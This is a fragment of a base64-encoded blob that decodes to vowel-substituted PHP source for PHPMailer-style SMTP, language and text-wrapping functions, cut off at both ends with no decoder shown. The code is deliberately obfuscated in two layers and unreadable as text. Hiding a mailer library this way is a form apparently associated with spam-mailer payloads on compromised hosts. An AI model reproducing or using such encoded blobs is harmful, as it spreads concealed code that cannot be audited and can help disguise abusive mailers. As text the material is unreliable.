0ciAuPSAkYjFkWyd0MiddIC4gJzogJyAuICRiMWRbJzVycjJyJ107DQogICAgICAgICAgICB9DQogICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKA0KICAgICAgICAgICAgICAgICR0aDRzLT5sMW5nKCdyNWM0cDQ1bnRzX2YxNGw1ZCcpIC4gJDVycnN0ciwNCiAgICAgICAgICAgICAgICBzNWxmOjpTVE9QX0NPTlRJTlVFDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEluNHQ0MXQ1IDEgYzJubjVjdDQybiB0MiAxbiBTTVRQIHM1cnY1ci4NCiAgICAgKiBSNXQzcm5zIGYxbHM1IDRmIHRoNSAycDVyMXQ0Mm4gZjE0bDVkLg0KICAgICAqIEBwMXIxbSAxcnIxeSAkMnB0NDJucyBBbiAxcnIxeSAyZiAycHQ0Mm5zIGMybXAxdDRibDUgdzR0aCBzdHI1MW1fYzJudDV4dF9jcjUxdDUoKQ0KICAgICAqIEAzczVzIFNNVFANCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIHNtdHBDMm5uNWN0KCQycHQ0Mm5zID0gbjNsbCkNCiAgICB7DQogICAgICAgIDRmICg0c19uM2xsKCR0aDRzLT5zbXRwKSkgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHAgPSAkdGg0cy0+ZzV0U01UUEluc3QxbmM1KCk7DQogICAgICAgIH0NCg0KICAgICAgICAvL0lmIG4yIDJwdDQybnMgMXI1IHByMnY0ZDVkLCAzczUgd2gxdDV2NXIgNHMgczV0IDRuIHRoNSA0bnN0MW5jNQ0KICAgICAgICA0ZiAoNHNfbjNsbCgkMnB0NDJucykpIHsNCiAgICAgICAgICAgICQycHQ0Mm5zID0gJHRoNHMtPlNNVFBPcHQ0Mm5zOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gQWxyNTFkeSBjMm5uNWN0NWQ/DQogICAgICAgIDRmICgkdGg0cy0+c210cC0+YzJubjVjdDVkKCkpIHsNCiAgICAgICAgICAgIHI1dDNybiB0cjM1Ow0KICAgICAgICB9DQoNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dFQ0bTUyM3QoJHRoNHMtPlQ0bTUyM3QpOw0KICAgICAgICAkdGg0cy0+c210cC0+czV0RDViM2dMNXY1bCgkdGg0cy0+U01UUEQ1YjNnKTsNCiAgICAgICAgJHRoNHMtPnNtdHAtPnM1dEQ1YjNnTzN0cDN0KCR0aDRzLT5ENWIzZzIzdHAzdCk7DQogICAgICAgICR0aDRzLT5zbXRwLT5zNXRWNXJwKCR0aDRzLT5kMl92NXJwKTsNCiAgICAgICAgJGgyc3RzID0gNXhwbDJkNSgnOycsICR0aDRzLT5IMnN0KTsNCiAgICAgICAgJGwxc3Q1eGM1cHQ0Mm4gPSBuM2xsOw0KDQogICAgICAgIGYycjUxY2ggKCRoMnN0cyAxcyAkaDJzdDVudHJ5KSB7DQogICAgICAgICAgICAkaDJzdDRuZjIgPSAxcnIxeSgpOw0KICAgICAgICAgICAgNGYgKCFwcjVnX20xdGNoKCcvXigoc3NsfHRscyk6XC9cLykqKFsxLXpBLVowLTlcLi1dKik6PyhbMC05XSopJC8nLCB0cjRtKCRoMnN0NW50cnkpLCAkaDJzdDRuZjIpKSB7DQogICAgICAgICAgICAgICAgLy8gTjJ0IDEgdjFsNGQgaDJzdCA1bnRyeQ0KICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgLy8gJGgyc3Q0bmYyW2FdOiAycHQ0Mm4xbCBzc2wgMnIgdGxzIHByNWY0eA0KICAgICAgICAgICAgLy8gJGgyc3Q0bmYyW29dOiB0aDUgaDJzdG4xbTUNCiAgICAgICAgICAgIC8vICRoMnN0NG5mMlt1XTogMnB0NDJuMWwgcDJydCBuM21iNXINCiAgICAgICAgICAgIC8vIFRoNSBoMnN0IHN0cjRuZyBwcjVmNHggYzFuIHQ1bXAycjFyNGx5IDJ2NXJyNGQ1IHRoNSBjM3JyNW50IHM1dHQ0bmcgZjJyIFNNVFBTNWMzcjUNCiAgICAgICAgICAgIC8vIElmIDR0J3MgbjJ0IHNwNWM0ZjQ1ZCwgdGg1IGQ1ZjEzbHQgdjFsMzUgNHMgM3M1ZA0KICAgICAgICAgICAgJHByNWY0eCA9ICcnOw0KICAgICAgICAgICAgJHM1YzNyNSA9ICR0aDRzLT5TTVRQUzVjM3I1Ow0KICAgICAgICAgICAgJHRscyA9ICgkdGg0cy0+U01UUFM1YzNyNSA9PSAndGxzJyk7DQogICAgICAgICAgICA0ZiAoJ3NzbCcgPT0gJGgyc3Q0bmYyW2FdIDJyICgnJyA9PSAkaDJzdDRuZjJbYV0gMW5kICdzc2wnID09ICR0aDRzLT5TTVRQUzVjM3I1KSkgew0KICAgICAgICAgICAgICAgICRwcjVmNHggPSAnc3NsOi8vJzsNCiAgICAgICAgICAgICAgICAkdGxzID0gZjFsczU7IC8vIEMxbid0IGgxdjUgU1NMIDFuZCBUTFMgMXQgdGg1IHMxbTUgdDRtNQ0KICAgICAgICAgICAgICAgICRzNWMzcjUgPSAnc3NsJzsNCiAgICAgICAgICAgIH0gNWxzNTRmICgkaDJzdDRuZjJbYV0gPT0gJ3RscycpIHsNCiAgICAgICAgICAgICAgICAkdGxzID0gdHIzNTsNCiAgICAgICAgICAgICAgICAvLyB0bHMgZDI1c24ndCAzczUgMSBwcjVmNHgNCiAgICAgICAgICAgICAgICAkczVjM3I1ID0gJ3Rscyc7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAvL0QyIHc1IG41NWQgdGg1IE9wNW5TU0wgNXh0NW5zNDJuPw0KICAgICAgICAgICAgJHNzbDV4dCA9IGQ1ZjRuNWQoJ09QRU5TU0xfQUxHT19TSEE2Jyk7DQogICAgICAgICAgICA0ZiAoJ3RscycgPT09ICRzNWMzcjUgMnIgJ3NzbCcgPT09ICRzNWMzcjUpIHsNCiAgICAgICAgICAgICAgICAvL0NoNWNrIGYyciAxbiBPcDVuU1NMIGMybnN0MW50IHIxdGg1ciB0aDFuIDNzNG5nIDV4dDVuczQybl9sMjFkNWQsIHdoNGNoIDRzIHMybTV0NG01cyBkNHMxYmw1ZA0KICAgICAgICAgICAgICAgIDRmICghJHNzbDV4dCkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1eHQ1bnM0Mm5fbTRzczRuZycpLicycDVuc3NsJywgczVsZjo6U1RPUF9DUklUSUNBTCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGgyc3QgPSAkaDJzdDRuZjJbb107DQogICAgICAgICAgICAkcDJydCA9ICR0aDRzLT5QMnJ0Ow0KICAgICAgICAgICAgJHRwMnJ0ID0gKDRudDVnNXIpJGgyc3Q0bmYyW3VdOw0KICAgICAgICAgICAgNGYgKCR0cDJydCA+IDAgMW5kICR0cDJydCA8IGVpaW9lKSB7DQogICAgICAgICAgICAgICAgJHAycnQgPSAkdHAycnQ7DQogICAgICAgICAgICB9DQogICAgICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3QoJHByNWY0eCAuICRoMnN0LCAkcDJydCwgJHRoNHMtPlQ0bTUyM3QsICQycHQ0Mm5zKSkgew0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+SDVsMikgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGg1bGwyID0gJHRoNHMtPkg1bDI7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkaDVsbDIgPSAkdGg0cy0+czVydjVySDJzdG4xbTUoKTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+aDVsbDIoJGg1bGwyKTsNCiAgICAgICAgICAgICAgICAgICAgLy9BM3QybTF0NGMxbGx5IDVuMWJsNSBUTFMgNW5jcnlwdDQybiA0ZjoNCiAgICAgICAgICAgICAgICAgICAgLy8gKiA0dCdzIG4ydCBkNHMxYmw1ZA0KICAgICAgICAgICAgICAgICAgICAvLyAqIHc1IGgxdjUgMnA1bnNzbCA1eHQ1bnM0Mm4NCiAgICAgICAgICAgICAgICAgICAgLy8gKiB3NSAxcjUgbjJ0IDFscjUxZHkgM3M0bmcgU1NMDQogICAgICAgICAgICAgICAgICAgIC8vICogdGg1IHM1cnY1ciAyZmY1cnMgU1RBUlRUTFMNCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT5TTVRQQTN0MlRMUyAxbmQgJHNzbDV4dCAxbmQgJHM1YzNyNSAhPSAnc3NsJyAxbmQgJHRoNHMtPnNtdHAtPmc1dFM1cnY1ckV4dCgnU1RBUlRUTFMnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRscyA9IHRyMzU7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0bHMpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmICghJHRoNHMtPnNtdHAtPnN0MXJ0VExTKCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdjMm5uNWN0X2gyc3QnKSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAvLyBXNSBtM3N0IHI1czVuZCBFSExPIDFmdDVyIFRMUyBuNWcydDQxdDQybg0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPmg1bGwyKCRoNWxsMik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgNGYgKCR0aDRzLT5TTVRQQTN0aCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+c210cC0+MTN0aDVudDRjMXQ1KA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5VczVybjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+UDFzc3cycmQsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkEzdGhUeXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aDRzLT5SNTFsbSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+VzJya3N0MXQ0Mm4NCiAgICAgICAgICAgICAgICAgICAgICAgICkNCiAgICAgICAgICAgICAgICAgICAgICAgICkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJzEzdGg1bnQ0YzF0NScpKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgICAgICAgICAkbDFzdDV4YzVwdDQybiA9ICQ1eGM7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41ZDViM2coJDV4Yy0+ZzV0TTVzczFnNSgpKTsNCiAgICAgICAgICAgICAgICAgICAgLy8gVzUgbTNzdCBoMXY1IGMybm41Y3Q1ZCwgYjN0IHRoNW4gZjE0bDVkIFRMUyAyciBBM3RoLCBzMiBjbDJzNSBjMm5uNWN0NDJuIG40YzVseQ0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+cTM0dCgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiB3NSBnNXQgaDVyNSwgMWxsIGMybm41Y3Q0Mm4gMXR0NW1wdHMgaDF2NSBmMTRsNWQsIHMyIGNsMnM1IGMybm41Y3Q0Mm4gaDFyZA0KICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgLy8gQXMgdzUndjUgYzEzZ2h0IDFsbCA1eGM1cHQ0Mm5zLCBqM3N0IHI1cDJydCB3aDF0NXY1ciB0aDUgbDFzdCAybjUgdzFzDQogICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucyAxbmQgITRzX24zbGwoJGwxc3Q1eGM1cHQ0Mm4pKSB7DQogICAgICAgICAgICB0aHIydyAkbDFzdDV4YzVwdDQybjsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gZjFsczU7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQ2wyczUgdGg1IDFjdDR2NSBTTVRQIHM1c3M0Mm4gNGYgMm41IDV4NHN0cy4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gc210cENsMnM1KCkNCiAgICB7DQogICAgICAgIDRmICg0c18xKCR0aDRzLT5zbXRwLCAnU01UUCcpKSB7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPnNtdHAtPmMybm41Y3Q1ZCgpKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPnNtdHAtPnEzNHQoKTsNCiAgICAgICAgICAgICAgICAkdGg0cy0+c210cC0+Y2wyczUoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dCB0aDUgbDFuZzMxZzUgZjJyIDVycjJyIG01c3MxZzVzLg0KICAgICAqIFI1dDNybnMgZjFsczUgNGYgNHQgYzFubjJ0IGwyMWQgdGg1IGwxbmczMWc1IGY0bDUuDQogICAgICogVGg1IGQ1ZjEzbHQgbDFuZzMxZzUgNHMgRW5nbDRzaC4NCiAgICAgKiBAcDFyMW0gc3RyNG5nICRsMW5nYzJkNSBJU08gZW85LTYgYS1jaDFyMWN0NXIgbDFuZzMxZzUgYzJkNSAoNS5nLiBGcjVuY2ggNHMgImZyIikNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRsMW5nX3AxdGggUDF0aCB0MiB0aDUgbDFuZzMxZzUgZjRsNSBkNHI1Y3QycnksIHc0dGggdHIxNGw0bmcgczVwMXIxdDJyIChzbDFzaCkNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNXRMMW5nMzFnNSgkbDFuZ2MyZDUgPSAnNW4nLCAkbDFuZ19wMXRoID0gJycpDQogICAgew0KICAgICAgICAvLyBCMWNrdzFyZHMgYzJtcDF0NGI0bDR0eSBmMnIgcjVuMW01ZCBsMW5nMzFnNSBjMmQ1cw0KICAgICAgICAkcjVuMW01ZF9sMW5nYzJkNXMgPSAxcnIxeSgNCiAgICAgICAgICAgICdicicgPT4gJ3B0X2JyJywNCiAgICAgICAgICAgICdjeicgPT4gJ2NzJywNCiAgICAgICAgICAgICdkaycgPT4gJ2QxJywNCiAgICAgICAgICAgICduMicgPT4gJ25iJywNCiAgICAgICAgICAgICdzNScgPT4gJ3N2JywNCiAgICAgICAgKTsNCg0KICAgICAgICA0ZiAoNHNzNXQoJHI1bjFtNWRfbDFuZ2MyZDVzWyRsMW5nYzJkNV0pKSB7DQogICAgICAgICAgICAkbDFuZ2MyZDUgPSAkcjVuMW01ZF9sMW5nYzJkNXNbJGwxbmdjMmQ1XTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEQ1ZjRuNSBmM2xsIHM1dCAyZiB0cjFuc2wxdDFibDUgc3RyNG5ncyA0biBFbmdsNHNoDQogICAgICAgICRQSFBNQUlMRVJfTEFORyA9IDFycjF5KA0KICAgICAgICAgICAgJzEzdGg1bnQ0YzF0NScgPT4gJ1NNVFAgRXJyMnI6IEMyM2xkIG4ydCAxM3RoNW50NGMxdDUuJywNCiAgICAgICAgICAgICdjMm5uNWN0X2gyc3QnID0+ICdTTVRQIEVycjJyOiBDMjNsZCBuMnQgYzJubjVjdCB0MiBTTVRQIGgyc3QuJywNCiAgICAgICAgICAgICdkMXQxX24ydF8xY2M1cHQ1ZCcgPT4gJ1NNVFAgRXJyMnI6IGQxdDEgbjJ0IDFjYzVwdDVkLicsDQogICAgICAgICAgICAnNW1wdHlfbTVzczFnNScgPT4gJ001c3MxZzUgYjJkeSA1bXB0eScsDQogICAgICAgICAgICAnNW5jMmQ0bmcnID0+ICdVbmtuMnduIDVuYzJkNG5nOiAnLA0KICAgICAgICAgICAgJzV4NWMzdDUnID0+ICdDMjNsZCBuMnQgNXg1YzN0NTogJywNCiAgICAgICAgICAgICdmNGw1XzFjYzVzcycgPT4gJ0MyM2xkIG4ydCAxY2M1c3MgZjRsNTogJywNCiAgICAgICAgICAgICdmNGw1XzJwNW4nID0+ICdGNGw1IEVycjJyOiBDMjNsZCBuMnQgMnA1biBmNGw1OiAnLA0KICAgICAgICAgICAgJ2ZyMm1fZjE0bDVkJyA9PiAnVGg1IGYybGwydzRuZyBGcjJtIDFkZHI1c3MgZjE0bDVkOiAnLA0KICAgICAgICAgICAgJzRuc3QxbnQ0MXQ1JyA9PiAnQzIzbGQgbjJ0IDRuc3QxbnQ0MXQ1IG0xNGwgZjNuY3Q0Mm4uJywNCiAgICAgICAgICAgICc0bnYxbDRkXzFkZHI1c3MnID0+ICdJbnYxbDRkIDFkZHI1c3M6ICcsDQogICAgICAgICAgICAnbTE0bDVyX24ydF9zM3BwMnJ0NWQnID0+ICcgbTE0bDVyIDRzIG4ydCBzM3BwMnJ0NWQuJywNCiAgICAgICAgICAgICdwcjJ2NGQ1XzFkZHI1c3MnID0+ICdZMjMgbTNzdCBwcjJ2NGQ1IDF0IGw1MXN0IDJuNSByNWM0cDQ1bnQgNW0xNGwgMWRkcjVzcy4nLA0KICAgICAgICAgICAgJ3I1YzRwNDVudHNfZjE0bDVkJyA9PiAnU01UUCBFcnIycjogVGg1IGYybGwydzRuZyByNWM0cDQ1bnRzIGYxNGw1ZDogJywNCiAgICAgICAgICAgICdzNGduNG5nJyA9PiAnUzRnbjRuZyBFcnIycjogJywNCiAgICAgICAgICAgICdzbXRwX2Mybm41Y3RfZjE0bDVkJyA9PiAnU01UUCBjMm5uNWN0KCkgZjE0bDVkLicsDQogICAgICAgICAgICAnc210cF81cnIycicgPT4gJ1NNVFAgczVydjVyIDVycjJyOiAnLA0KICAgICAgICAgICAgJ3YxcjQxYmw1X3M1dCcgPT4gJ0Mxbm4ydCBzNXQgMnIgcjVzNXQgdjFyNDFibDU6ICcsDQogICAgICAgICAgICAnNXh0NW5zNDJuX200c3M0bmcnID0+ICdFeHQ1bnM0Mm4gbTRzczRuZzogJw0KICAgICAgICApOw0KICAgICAgICA0ZiAoNW1wdHkoJGwxbmdfcDF0aCkpIHsNCiAgICAgICAgICAgIC8vIEMxbGMzbDF0NSAxbiAxYnMybDN0NSBwMXRoIHMyIDR0IGMxbiB3MnJrIDRmIENXRCA0cyBuMnQgaDVyNQ0KICAgICAgICAgICAgJGwxbmdfcDF0aCA9IGQ0cm4xbTUoX19GSUxFX18pLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ2wxbmczMWc1Jy4gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgfQ0KICAgICAgICAvL1YxbDRkMXQ1ICRsMW5nYzJkNQ0KICAgICAgICA0ZiAoIXByNWdfbTF0Y2goJy9eWzEtel17YX0oPzpfWzEtekEtWl17YX0pPyQvJywgJGwxbmdjMmQ1KSkgew0KICAgICAgICAgICAgJGwxbmdjMmQ1ID0gJzVuJzsNCiAgICAgICAgfQ0KICAgICAgICAkZjIzbmRsMW5nID0gdHIzNTsNCiAgICAgICAgJGwxbmdfZjRsNSA9ICRsMW5nX3AxdGggLiAncGhwbTE0bDVyLmwxbmctJyAuICRsMW5nYzJkNSAuICcucGhwJzsNCiAgICAgICAgLy8gVGg1cjUgNHMgbjIgRW5nbDRzaCB0cjFuc2wxdDQybiBmNGw1DQogICAgICAgIDRmICgkbDFuZ2MyZDUgIT0gJzVuJykgew0KICAgICAgICAgICAgLy8gTTFrNSBzM3I1IGwxbmczMWc1IGY0bDUgcDF0aCA0cyByNTFkMWJsNQ0KICAgICAgICAgICAgNGYgKCE0c19yNTFkMWJsNSgkbDFuZ19mNGw1KSkgew0KICAgICAgICAgICAgICAgICRmMjNuZGwxbmcgPSBmMWxzNTsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgLy8gT3Y1cndyNHQ1IGwxbmczMWc1LXNwNWM0ZjRjIHN0cjRuZ3MuDQogICAgICAgICAgICAgICAgLy8gVGg0cyB3MXkgdzUnbGwgbjV2NXIgaDF2NSBtNHNzNG5nIHRyMW5zbDF0NDJuIGs1eXMuDQogICAgICAgICAgICAgICAgJGYyM25kbDFuZyA9IDRuY2wzZDUgJGwxbmdfZjRsNTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+bDFuZzMxZzUgPSAkUEhQTUFJTEVSX0xBTkc7DQogICAgICAgIHI1dDNybiAoYjIybDUxbikkZjIzbmRsMW5nOyAvLyBSNXQzcm5zIGYxbHM1IDRmIGwxbmczMWc1IG4ydCBmMjNuZA0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEc1dCB0aDUgMXJyMXkgMmYgc3RyNG5ncyBmMnIgdGg1IGMzcnI1bnQgbDFuZzMxZzUuDQogICAgICogQHI1dDNybiAxcnIxeQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRUcjFuc2wxdDQybnMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5sMW5nMzFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgcjVjNHA0NW50IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICR0eXA1DQogICAgICogQHAxcjFtIDFycjF5ICQxZGRyIEFuIDFycjF5IDJmIHI1YzRwNDVudCwNCiAgICAgKiB3aDVyNSA1MWNoIHI1YzRwNDVudCA0cyAxIGEtNWw1bTVudCA0bmQ1eDVkIDFycjF5IHc0dGggNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcw0KICAgICAqIDFuZCA1bDVtNW50IDYgYzJudDE0bjRuZyAxIG4xbTUsIGw0azU6DQogICAgICogMXJyMXkoMXJyMXkoJ2oyNUA1eDFtcGw1LmMybScsICdKMjUgVXM1cicpLCAxcnIxeSgnejI1QDV4MW1wbDUuYzJtJywgJ1oyNSBVczVyJykpDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkckFwcDVuZCgkdHlwNSwgJDFkZHIpDQogICAgew0KICAgICAgICAkMWRkcjVzczVzID0gMXJyMXkoKTsNCiAgICAgICAgZjJyNTFjaCAoJDFkZHIgMXMgJDFkZHI1c3MpIHsNCiAgICAgICAgICAgICQxZGRyNXNzNXNbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCQxZGRyNXNzKTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJHR5cDUgLiAnOiAnIC4gNG1wbDJkNSgnLCAnLCAkMWRkcjVzczVzKSAuICR0aDRzLT5MRTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGMnJtMXQgMW4gMWRkcjVzcyBmMnIgM3M1IDRuIDEgbTVzczFnNSBoNTFkNXIuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gMXJyMXkgJDFkZHIgQSBhLTVsNW01bnQgNG5kNXg1ZCAxcnIxeSwgNWw1bTVudCAwIGMybnQxNG40bmcgMW4gMWRkcjVzcywgNWw1bTVudCA2IGMybnQxNG40bmcgMSBuMW01DQogICAgICogICAgICBsNGs1IDFycjF5KCdqMjVANXgxbXBsNS5jMm0nLCAnSjI1IFVzNXInKQ0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDFkZHJGMnJtMXQoJDFkZHIpDQogICAgew0KICAgICAgICA0ZiAoNW1wdHkoJDFkZHJbNl0pKSB7IC8vIE4yIG4xbTUgcHIydjRkNWQNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVjM3I1SDUxZDVyKCQxZGRyWzBdKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJDFkZHJbNl0pLCAncGhyMXM1JykgLiAnIDwnIC4gJHRoNHMtPnM1YzNyNUg1MWQ1cigNCiAgICAgICAgICAgICAgICAkMWRkclswXQ0KICAgICAgICAgICAgKSAuICc+JzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCBtNXNzMWc1Lg0KICAgICAqIEYyciAzczUgdzR0aCBtMTRsNXJzIHRoMXQgZDIgbjJ0IDEzdDJtMXQ0YzFsbHkgcDVyZjJybSB3cjFwcDRuZw0KICAgICAqIDFuZCBmMnIgcTMydDVkLXByNG50MWJsNSA1bmMyZDVkIG01c3MxZzVzLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgcGg0bDRwcDUuDQogICAgICogQHAxcjFtIHN0cjRuZyAkbTVzczFnNSBUaDUgbTVzczFnNSB0MiB3cjFwDQogICAgICogQHAxcjFtIDRudDVnNXIgJGw1bmd0aCBUaDUgbDRuNSBsNW5ndGggdDIgd3IxcCB0Mg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICRxcF9tMmQ1IFdoNXRoNXIgdDIgcjNuIDRuIFEzMnQ1ZC1QcjRudDFibDUgbTJkNQ0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gd3IxcFQ1eHQoJG01c3MxZzUsICRsNW5ndGgsICRxcF9tMmQ1ID0gZjFsczUpDQogICAgew0KICAgICAgICA0ZiAoJHFwX20yZDUpIHsNCiAgICAgICAgICAgICRzMmZ0X2JyNTFrID0gc3ByNG50ZignID0lcycsICR0aDRzLT5MRSk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkczJmdF9icjUxayA9ICR0aDRzLT5MRTsNCiAgICAgICAgfQ0KICAgICAgICAvLyBJZiAzdGYtOCA1bmMyZDRuZyA0cyAzczVkLCB3NSB3NGxsIG41NWQgdDIgbTFrNSBzM3I1IHc1IGQybid0DQogICAgICAgIC8vIHNwbDR0IG0zbHQ0Ynl0NSBjaDFyMWN0NXJzIHdoNW4gdzUgd3IxcA0KICAgICAgICAkNHNfM3RmOCA9IChzdHJ0MmwydzVyKCR0aDRzLT5DaDFyUzV0KSA9PSAnM3RmLTgnKTsNCiAgICAgICAgJGw1bDVuID0gc3RybDVuKCR0aDRzLT5MRSk7DQogICAgICAgICRjcmxmbDVuID0gc3RybDVuKHM1bGY6OkNSTEYpOw0KDQogICAgICAgICRtNXNzMWc1ID0gJHRoNHMtPmY0eEVPTCgkbTVzczFnNSk7DQogICAgICAgIC8vUjVtMnY1IDEgdHIxNGw0bmcgbDRuNSBicjUxaw0KICAgICAgICA0ZiAoczNic3RyKCRtNXNzMWc1LCAtJGw1bDVuKSA9PSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICRtNXNzMWc1ID0gczNic3RyKCRtNXNzMWc1LCAwLCAtJGw1bDVuKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vU3BsNHQgbTVzczFnNSA0bnQyIGw0bjVzDQogICAgICAgICRsNG41cyA9IDV4cGwyZDUoJHRoNHMtPkxFLCAkbTVzczFnNSk7DQogICAgICAgIC8vTTVzczFnNSB3NGxsIGI1IHI1YjM0bHQgNG4gaDVyNQ0KICAgICAgICAkbTVzczFnNSA9ICcnOw0KICAgICAgICBmMnI1MWNoICgkbDRuNXMgMXMgJGw0bjUpIHsNCiAgICAgICAgICAgICR3MnJkcyA9IDV4cGwyZDUoJyAnLCAkbDRuNSk7DQogICAgICAgICAgICAkYjNmID0gJyc7DQogICAgICAgICAgICAkZjRyc3R3MnJkID0gdHIzNTsNCiAgICAgICAgICAgIGYycjUxY2ggKCR3MnJkcyAxcyAkdzJyZCkgew0KICAgICAgICAgICAgICAgIDRmICgkcXBfbTJkNSAxbmQgKHN0cmw1bigkdzJyZCkgPiAkbDVuZ3RoKSkgew0KICAgICAgICAgICAgICAgICAgICAkc3AxYzVfbDVmdCA9ICRsNW5ndGggLSBzdHJsNW4oJGIzZikgLSAkY3JsZmw1bjsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCEkZjRyc3R3MnJkKSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJHNwMWM1X2w1ZnQgPiBhMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gPSAkc3AxYzVfbDVmdDsNCiAgICAgICAgICAgI